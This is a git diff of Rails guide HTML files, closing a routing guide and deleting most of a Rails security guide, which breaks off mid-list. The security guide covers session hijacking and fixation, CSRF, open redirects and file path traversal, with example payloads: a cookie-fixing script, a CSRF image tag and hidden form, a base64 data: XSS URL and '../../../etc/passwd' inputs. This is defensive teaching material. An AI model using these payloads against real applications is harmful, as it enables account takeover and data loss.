4. Regular Routes

-
-

In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don’t get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.

-

While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing when possible, because it will make parts of your application easier to write. But there’s no need to try to shoehorn every last piece of your application into a RESTful framework if that’s not a good fit.

-

4.1. Bound Parameters

-

When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: :controller maps to the name of a controller in your application, and :action maps to the name of an action within that controller. For example, consider one of the default Rails routes:

-
-
-
map.connect ':controller/:action/:id'
-

If an incoming request of /photos/show/1 is processed by this route (because it hasn’t matched any previous route in the file), then the result will be to invoke the show action of the Photos controller, and to make the final parameter (1) available as params[:id].

-

4.2. Wildcard Components

-

You can set up as many wildcard symbols within a regular route as you like. Anything other than :controller or :action will be available to the matching action as part of the params hash. So, if you set up this route:

-
-
-
map.connect ':controller/:action/:id/:user_id'
-

An incoming URL of /photos/show/1/2 will be dispatched to the show action of the Photos controller. params[:id] will be set to 1, and params[:user_id] will be set to 2.

-

4.3. Static Text

-

You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:

-
-
-
map.connect ':controller/:action/:id/with_user/:user_id'
-

This route would respond to URLs such as /photos/show/1/with_user/2.

-

4.4. Querystring Parameters

-

Rails routing automatically picks up querystring parameters and makes them available in the params hash. For example, with this route:

-
-
-
map.connect ':controller/:action/:id'
-

An incoming URL of /photos/show/1?user_id=2 will be dispatched to the show action of the Photos controller. params[:id] will be set to 1, and params[:user_id] will be equal to 2.

-

4.5. Defining Defaults

-

You do not need to explicitly use the :controller and :action symbols within a route. You can supply defaults for these two parameters in a hash:

-
-
-
map.connect 'photos/:id', :controller => 'photos', :action => 'show'
-

With this route, an incoming URL of /photos/12 would be dispatched to the show action within the Photos controller.

-

You an also define other defaults in a route by supplying a hash for the :defaults option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:

-
-
-
map.connect 'photos/:id', :controller => 'photos', :action => 'show', :defaults => { :format => 'jpg' }
-

With this route, an incoming URL of photos/12 would be dispatched to the show action within the Photos controller, and params[:format] will be set to jpg.

-

4.6. Named Routes

-

Regular routes need not use the connect method. You can use any other name here to create a named route. For example,

-
-
-
map.logout '/logout', :controller => 'sessions', :action => 'destroy'
-

This will do two things. First, requests to /logout will be sent to the destroy method of the Sessions controller. Second, Rails will maintain the logout_path and logout_url helpers for use within your code.

-

4.7. Route Requirements

-

You can use the :requirements option to enforce a format for any parameter in a route:

-
-
-
map.connect 'photo/:id', :controller => 'photos', :action => 'show',
- :requirements => { :id => /[A-Z]\d{5}/ }
-

This route would respond to URLs such as /photo/A12345. You can more succinctly express the same route this way:

-
-
-
map.connect 'photo/:id', :controller => 'photos', :action => 'show',
-  :id => /[A-Z]\d{5}/
-

4.8. Route Conditions

-

Route conditions (introduced with the :conditions option) are designed to implement restrictions on routes. Currently, the only supported restriction is :method:

-
-
-
map.connect 'photo/:id', :controller => 'photos', :action => 'show',
- :conditions => { :method => :get }
-

As with conditions in RESTful routes, you can specify :get, :post, :put, :delete, or :any for the acceptable method.

-

4.9. Route Globbing

-

Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example

-
-
-
map.connect 'photo/*other', :controller => 'photos', :action => 'unknown',
-

This route would match photo/12 or /photo/long/path/to/12 equally well, creating an array of path segments as the value of params[:other].

-

4.10. Route Options

-

You can use :with_options to simplify defining groups of similar routes:

-
-
-
map.with_options :controller => 'photo' do |photo|
-  photo.list '', :action => 'index'
-  photo.delete ':id/delete', :action => 'delete'
-  photo.edit ':id/edit', :action => 'edit'
-end
-

The importance of map.with_options has declined with the introduction of RESTful routes.

-
-

5. Formats and respond_to

-
-

There’s one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special :format parameter in the route.

-

For instance, consider the second of the default routes in the boilerplate routes.rb file:

-
-
-
map.connect ':controller/:action/:id.:format'
-

This route matches requests such as /photo/edit/1.xml or /photo/show/2.rss. Within the appropriate action code, you can issue different responses depending on the requested format:

-
-
-
respond_to do |format|
-  format.html # return the default template for HTML
-  format.xml { render :xml => @photo.to_xml }
-end
-

5.1. Specifying the Format with an HTTP Header

-

If there is no :format parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.

-

5.2. Recognized MIME types

-

By default, Rails recognizes html, text, json, csv, xml, rss, atom, and yaml as acceptable response types. If you need types beyond this, you can register them in your environment:

-
-
-
Mime::Type.register "image/jpg", :jpg
-
-

6. The Default Routes

-
-

When you create a new Rails application, routes.rb is initialized with two default routes:

-
-
-
map.connect ':controller/:action/:id'
-map.connect ':controller/:action/:id.:format'
-

These routes provide reasonable defaults for many URLs, if you’re not using RESTful routing.

-
- - - -
-Note -The default routes will make every action of every controller in your application accessible to GET requests. If you’ve designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you’ve had the default routes enabled during development, though, you need to be sure that you haven’t unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.
-
-
-

7. The Empty Route

-
-

Don’t confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to http://example.com or http://example.com/ will be handled by the empty route.

-

7.1. Using map.root

-

The preferred way to set up the empty route is with the map.root command:

-
-
-
map.root :controller => "pages", :action => "main"
-

The use of the root method tells Rails that this route applies to requests for the root of the site.

-

For better readability, you can specify an already-created route in your call to map.root:

-
-
-
map.index 'index', :controller => "pages", :action => "main"
-map.root :index
-

Because of the top-down processing of the file, the named route must be specified before the call to map.root.

-

7.2. Connecting the Empty String

-

You can also specify an empty route by explicitly connecting the empty string:

-
-
-
map.connect '', :controller => "pages", :action => "main"
-
- - - -
-Tip -If the empty route does not seem to be working in your application, make sure that you have deleted the file public/index.html from your Rails tree.
-
-
-

8. Inspecting and Testing Routes

-
-

Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.

-

8.1. Seeing Existing Routes with rake

-

If you want a complete list of all of the available routes in your application, run the rake routes command. This will dump all of your routes to the console, in the same order that they appear in routes.rb. For each route, you’ll see:

-
    -
  • -

    -The route name (if any) -

    -
    • -
  • -

    -The HTTP verb used (if the route doesn’t respond to all verbs) -

    -
    • -
  • -

    -The URL pattern -

    -
    • -
  • -

    -The routing parameters that will be generated by this URL -

    -
    • -
-

For example, here’s a small section of the rake routes output for a RESTful route:

-
-
-
          users GET  /users          {:controller=>"users", :action=>"index"}
-formatted_users GET  /users.:format  {:controller=>"users", :action=>"index"}
-                POST /users          {:controller=>"users", :action=>"create"}
-                POST /users.:format  {:controller=>"users", :action=>"create"}
-
-
- - - -
-Tip -You’ll find that the output from rake routes is much more readable if you widen your terminal window until the output lines don’t wrap.
-
-

8.2. Testing Routes

-

Routes should be included in your testing strategy (just like the rest of your application). Rails offers three built-in assertions designed to make testing routes simpler:

-
    -
  • -

    -assert_generates -

    -
    • -
  • -

    -assert_recognizes -

    -
    • -
  • -

    -assert_routing -

    -
    • -
-

8.2.1. The assert_generates Assertion

-

Use assert_generates to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes

-
-
-
assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
-assert_generates "/about", :controller => "pages", :action => "about"
-

8.2.2. The assert_recognizes Assertion

-

The assert_recognizes assertion is the inverse of assert_generates. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.

-
-
-
assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1"
-

You can supply a :method argument to specify the HTTP verb:

-
-
-
assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }
-

You can also use the RESTful helpers to test recognition of a RESTful route:

-
-
-
assert_recognizes new_photo_url, { :path => "photos", :method => :post }
-

8.2.3. The assert_routing Assertion

-

The assert_routing assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of assert_generates and assert_recognizes.

-
-
-
assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }
-
-

9. Changelog

-
-

Lighthouse ticket

-
    -
  • -

    -October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by Mike Gunderloy -

    -
    • -
  • -

    -September 23, 2008: Added section on namespaced controllers and routing, by Mike Gunderloy -

    -
    • -
  • -

    -September 10, 2008: initial version by Mike Gunderloy -

    -
    • -
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/security.html b/vendor/rails/railties/doc/guides/html/security.html deleted file mode 100644 index 371decda..00000000 --- a/vendor/rails/railties/doc/guides/html/security.html +++ /dev/null @@ -1,1153 +0,0 @@ - - - - - Ruby On Rails Security Guide - - - - - - - - -
- - - -
-

Ruby On Rails Security Guide

-
-
-

This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please -mail me, Heiko Webers, at 42 {et} rorsecurity.info. After reading it, you should be familiar with:

-
    -
  • -

    -All countermeasures that are highlighted -

    -
    • -
  • -

    -The concept of sessions in Rails, what to put in there and popular attack methods -

    -
    • -
  • -

    -How just visiting a site can be a security problem (with CSRF) -

    -
    • -
  • -

    -What you have to pay attention to when working with files or providing an administration interface -

    -
    • -
  • -

    -The Rails-specific mass assignment problem -

    -
    • -
  • -

    -How to manage users: Logging in and out and attack methods on all layers -

    -
    • -
  • -

    -And the most popular injection attack methods -

    -
    • -
-
-
-

1. Introduction

-
-

Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.

-

In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).

-

The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.

-

The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.

-

In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.

-
-

2. Sessions

-
-

A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.

-

2.1. What are sessions?

-

-- HTTP is a stateless protocol Sessions make it stateful.

-

Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request. -Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.

-

A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client’s browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:

-
-
-
session[:user_id] = @current_user.id
-User.find(session[:user_id])
-

2.2. Session id

-

-- The session id is a 32 byte long MD5 hash value.

-

A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.

-

2.3. Session hijacking

-

-- Stealing a user’s session id lets an attacker use the web application in the victim’s name.

-

Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.

-

Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:

-
    -
  • -

    -Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to provide a secure connection over SSL. -

    -
    • -
  • -

    -Most people don’t clear out the cookies after working at a public terminal. So if the last user didn’t log out of a web application, you would be able to use it as this user. Provide the user with a log-out button in the web application, and make it prominent. -

    -
    • -
  • -

    -Many cross-site scripting (XSS) exploits aim at obtaining the user’s cookie. You’ll read more about XSS later. -

    -
    • -
  • -

    -Instead of stealing a cookie unknown to the attacker, he fixes a user’s session identifier (in the cookie) known to him. Read more about this so-called session fixation later. -

    -
    • -
-

The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the Symantec Global Internet Security Threat Report.

-

2.4. Session guidelines

-

-- Here are some general guidelines on sessions.

-
    -
  • -

    -Do not store large objects in a session. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won’t fill up your session storage space (depending on what session storage you chose, see below). -This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user’s cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate. -

    -
    • -
  • -

    -Critical data should not be stored in session. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. -

    -
    • -
-

2.5. Session storage

-

-- Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.

-

There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.

-

Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:

-
    -
  • -

    -Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. Storing the current user’s database id in a session is usually ok. -

    -
    • -
  • -

    -The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, you don’t want to store any secrets here. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. -

    -
    • -
-

That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So don’t use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters. Put the secret in your environment.rb:

-
-
-
config.action_controller.session = {
-  :key         => ‘_app_session’,
-  :secret      => ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
-}
-
-

There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.

-

2.6. Replay attacks for CookieStore sessions

-

-- Another sort of attack you have to be aware of when using CookieStore is the replay attack.

-

It works like this:

-
    -
  • -

    -A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we’ll do this for demonstration purposes). -

    -
    • -
  • -

    -The user buys something. -

    -
    • -
  • -

    -His new, lower credit will be stored in the session. -

    -
    • -
  • -

    -The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser. -

    -
    • -
  • -

    -The user has his credit back. -

    -
    • -
-

Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).

-

The best solution against it is not to store this kind of data in a session, but in the database. In this case store the credit in the database and the logged_in_user_id in the session.

-

2.7. Session fixation

-

-- Apart from stealing a user’s session id, the attacker may fix a session id known to him. This is called session fixation.

-
-
-Session fixation -
-
-

This attack focuses on fixing a user’s session id known to the attacker, and forcing the user’s browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:

-
    -
  1. -

    -The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). -

    -
    2. -
  2. -

    -He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. -

    -
    3. -
  3. -

    -Now the attacker will force the user’s browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <script>
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script> -Read more about XSS and injection later on. -

    -
    4. -
  4. -

    -The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim’s browser will change the session id to the trap session id. -

    -
    5. -
  5. -

    -As the new trap session is unused, the web application will require the user to authenticate. -

    -
    6. -
  6. -

    -From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn’t notice the attack. -

    -
    7. -
-

2.8. Session fixation – Countermeasures

-

-- One line of code will protect you from session fixation.

-

The most effective countermeasure is to issue a new session identifier and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:

-
-
-
reset_session
-

If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, you have to transfer them to the new session.

-

Another countermeasure is to save user-specific properties in the session, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. These might change over the course of a session, so these users will not be able to use your application, or only in a limited way.

-

2.9. Session expiry

-

-- Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.

-

One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to expire sessions in a database table. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.

-
-
-
class Session < ActiveRecord::Base
- def self.sweep(time_ago = nil)
-
    time = case time_ago
-
      when /^(\d+)m$/ then Time.now - $1.to_i.minute
-
      when /^(\d+)h$/ then Time.now - $1.to_i.hour
-
      when /^(\d+)d$/ then Time.now - $1.to_i.day
-
      else Time.now - 1.hour
-
    end
-
    self.delete_all "updated_at < '#{time.to_s(:db)}'"
-
  end
-
end
-

The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:

-
-
-
self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
-
-

3. Cross-Site Reference Forgery (CSRF)

-
-

-- This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.

-
-
-CSRF -
-
-

In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let’s start with an example:

-
    -
  • -

    -Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob’s project management application, rather than an image file. -

    -
    • -
  • -

    -<img src="http://www.webapp.com/project/1/destroy"> -

    -
    • -
  • -

    -Bob’s session at www.webapp.com is still alive, because he didn’t log out a few minutes ago. -

    -
    • -
  • -

    -By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. -

    -
    • -
  • -

    -The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. -

    -
    • -
  • -

    -Bob doesn’t notice the attack — but a few days later he finds out that project number one is gone. -

    -
    • -
-

It is important to notice that the actual crafted image or link doesn’t necessarily have to be situated in the web application’s domain, it can be anywhere – in a forum, blog post or email.

-

CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a sleeping giant [Grossman]. This is in stark contrast to the results in my (and others) security contract work – CSRF is an important security issue.

-

3.1. CSRF Countermeasures

-

-- First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.

-

The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:

-

Use GET if:

-
    -
  • -

    -The interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup). -

    -
    • -
-

Use POST if:

-
    -
  • -

    -The interaction is more like an order, or -

    -
    • -
  • -

    -The interaction changes the state of the resource in a way that the user would perceive (e.g., a subscription to a service), or -

    -
    • -
  • -

    -The user is held accountable for the results of the interaction. -

    -
    • -
-

If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden _method field to handle this barrier.

-

The verify method in a controller can make sure that specific actions may not be used over GET. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.

-
-
-
verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
-
-

With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.

-

But this was only the first step, because POST requests can be send automatically, too. Here is an example for a link which displays www.harmless.com as destination in the browser’s status bar. In fact it dynamically creates a new form that sends a POST request.

-
-
-
<a href="http://www.harmless.com/" onclick="
-  var f = document.createElement('form');
-  f.style.display = 'none';
-  this.parentNode.appendChild(f);
-  f.method = 'POST';
-  f.action = 'http://www.example.com/account/destroy';
-  f.submit();
-  return false;">To the harmless survey</a>
-

Or the attacker places the code into the onmouseover event handler of an image:

-

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

-

There are many other possibilities, including Ajax to attack the victim in the background.
The solution to this is including a security token in non-GET requests which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:

-

protect_from_forgery :secret => "123456789012345678901234567890..."

-

This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won’t need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn’t match what was expected.

-

Note that cross-site scripting (XSS) vulnerabilities bypass all CSRF protections. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.

-
-

4. Redirection and Files

-
-

Another class of security vulnerabilities surrounds the use of redirection and files in web applications.

-

4.1. Redirection

-

-- Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.

-

Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:

-
-
-
def legacy
-  redirect_to(params.update(:action=>'main'))
-end
-

This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:

-

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

-

If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to include only the expected parameters in a legacy action (again a whitelist approach, as opposed to removing unexpected parameters). And if you redirect to an URL, check it with a whitelist or a regular expression.

-

4.1.1. Self-contained XSS

-

Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:

-

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

-

This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, do not allow the user to supply (parts of) the URL to be redirected to.

-

4.2. File uploads

-

-- Make sure file uploads don’t overwrite important files, and process media files asynchronously.

-

Many web applications allow users to upload files. File names, which the user may choose (partly), should always be filtered as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.

-

When filtering user input file names, don’t try to remove malicious parts. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which checks for the validity of a file name with a set of accepted characters. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn’t a valid file name, reject it (or replace not accepted characters), but don’t remove them. Here is the file name sanitizer from the attachment_fu plugin:

-
-
-
def sanitize_filename(filename)
-  returning filename.strip do |name|
-    # NOTE: File.basename doesn't work right with Windows paths on Unix
-    # get only the filename, not the whole path
-    name.gsub! /^.*(\\|\/)/, ''
-    # Finally, replace all non alphanumeric, underscore
-    # or periods with underscore
-    name.gsub! /[^\w\.\-]/, '_'
-  end
-end
-

A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its vulnerability to denial-of-service attacks. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.

-

The solution to this, is best to process media files asynchronously: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.

-

4.3. Executable code in file uploads

-

-- Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache’s home directory.

-

The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.

-

If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it, store files at least one level downwards.

-

4.4. File downloads

-

-- Make sure users cannot download arbitrary files.

-

Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:

-
-
-
send_file('/var/www/uploads/' + params[:filename])
-

Simply pass a file name like “../../../etc/passwd” to download the server’s login information. A simple solution against this, is to check that the requested file is in the expected directory:

-
-
-
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
-filename = File.expand_path(File.join(basename, @file.public_filename))
-raise if basename =!
-     File.expand_path(File.join(File.dirname(filename), '../../../'))
-send_file filename, :disposition => 'inline'
-

Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.

-
-

5. Intranet and Admin security

-
-

-- Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.

-

In 2007 there was the first tailor-made Trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.


-

XSS If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.

-

Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator’s cookie, injecting an iframe to steal the administrator’s password or installing malicious software through browser security holes to take over the administrator’s computer.

-

Refer to the Injection section for countermeasures against XSS. It is recommended to use the SafeErb plugin also in an Intranet or administration interface.

-

CSRF Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.

-

A real-world example is a router reconfiguration by CSRF. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user’s router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker’s site. Everyone who accessed the banking site through that router saw the attacker’s fake web site and had his credentials stolen.

-

Another example changed Google Adsense’s e-mail address and password by CSRF. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.


-

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application’s admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.

-

For countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section.

-

5.1. Additional precautions

-

The common admin interface works like this: it’s located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:

-
    -
  • -

    -It is very important to think about the worst case: What if someone really got hold of my cookie or user credentials. You could introduce roles for the admin interface to limit the possibilities of the attacker. Or how about special login credentials for the admin interface, other than the ones used for the public part of the application. Or a special password for very serious actions? -

    -
    • -
  • -

    -Does the admin really have to access the interface from everywhere in the world? Think about limiting the login to a bunch of source IP addresses. Examine request.remote_ip to find out about the user’s IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though. -

    -
    • -
  • -

